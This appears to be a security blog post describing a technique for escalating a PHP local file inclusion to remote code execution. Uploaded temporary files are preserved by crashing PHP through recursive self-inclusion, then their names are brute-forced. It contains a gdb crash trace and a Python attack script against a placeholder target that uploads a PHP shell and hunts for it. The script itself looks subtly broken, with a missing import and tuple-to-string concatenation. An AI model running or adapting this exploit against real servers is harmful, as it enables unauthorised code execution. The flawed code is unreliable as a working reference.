Everyone knows about the (hopefully dead) /proc/self/environ and /var/log/apache2/error.log tricks to get a shell from a LFI, but it seems that only a few people knows about the tmp_name one.

It's better than every other techniques (that I know about), because it doesn't require anything else than a LFI, while the others require either access to /proc or to /var/log , a controllable string in $_SESSION , …

It was originally found by Gynvael Coldwind in 2011, and later improved by Brett Moore: This article is about an improvement of those techniques.

As stated in the documentation, when someone uploads a file in a RFC-1867 way, files will by default be stored in the server's default temporary directory, then the file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.

It would be great if we could include this temporary file with our LFI, winning the race against its deletion, by sending a second request right after the upload. Unfortunately, tmp_name is a 6 mixed-case alphanumeric characters, powered by mkstemp on Linux, so it's super-unlikely that we'll get its name right in a one-shot.

If only we could find a way to prevent php from removing the file… fortunately, php being php, it crashes with a nice SIGSEGV upon infinite recursive inclusion, thus not removing the tempfile!

So the file :

<?php include 'test.php' ;

Will result in:

$ gdb - q = php Reading symbols from / usr / bin / php... ( no debugging symbols found ) ...done. ( gdb ) r - f test.php Starting program : / usr / bin / php - f test.php [ Thread debugging using libthread_db enabled ] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . Program received si gnal SIGS EGV , Seg mentation fault. 0 x00005555557deb60 in ?? () ( gdb ) bt 24 #0 0 x00005555557deb60 in ?? () #1 0 x00005555557dfd31 in virtual_file_ex () #2 0 x00005555557e120f in tsrm_realpath () #3 0 x000055555575751e in php_resolve_path () #4 0 x00007fffecd6ce19 in phar_find_in_include_path () from / usr / lib / php / 20151012 / phar.so #5 0 x000055555576bc2e in _php_stream_open_wrapper_ex () #6 0 x0000555555750799 in php_stream_open_for_zend_ex () #7 0 x00005555557ce104 in zend_stream_fixup () #8 0 x000055555577a606 in open_file_for_scanning () #9 0 x000055555577a981 in compile_file () #10 0 x00005555557a1682 in dtrace_compile_file () #11 0 x00007fffecd86710 in ?? () from / usr / lib / php / 20151012 / phar.so #12 0 x000055555577acd3 in compile_filename () #13 0 x00005555558412b7 in ?? () #14 0 x00005555557f116b in execute_ex () #15 0 x00005555557a1741 in dtrace_execute_ex () #16 0 x00005555558413bc in ?? () #17 0 x00005555557f116b in execute_ex () #18 0 x00005555557a1741 in dtrace_execute_ex () #19 0 x00005555558413bc in ?? () #20 0 x00005555557f116b in execute_ex () #21 0 x00005555557a1741 in dtrace_execute_ex () #22 0 x00005555558413bc in ?? () #23 0 x00005555557f116b in execute_ex () ( More stack frames follow... )

So the plan is to:

Upload a file and trigger a self-inclusion. Repeat 1 a shitload of time to: increase our odds of winning the race

increase our guessing odds Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} Enjoy our shell.

Something like that:

import itertools import requests import sys print ( '[+] Trying to win the race' ) f = { 'file' : open ( 'shell.php' , 'rb' )} for _ in range ( 4096 * 4096 ): requests . post ( 'http://target.com/index.php?c=index.php' , f ) print ( '[+] Bruteforcing the inclusion' ) for fname in itertools . combinations ( string . ascii_letters + string . digits , 6 ): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests . get ( url ) if 'load average' in r . text : # <?php echo system('uptime'); print ( '[+] We have got a shell: ' + url ) sys . exit ( 0 ) print ( '[x] Something went wrong, please try again' )

Thanks to blotus for the tips ;)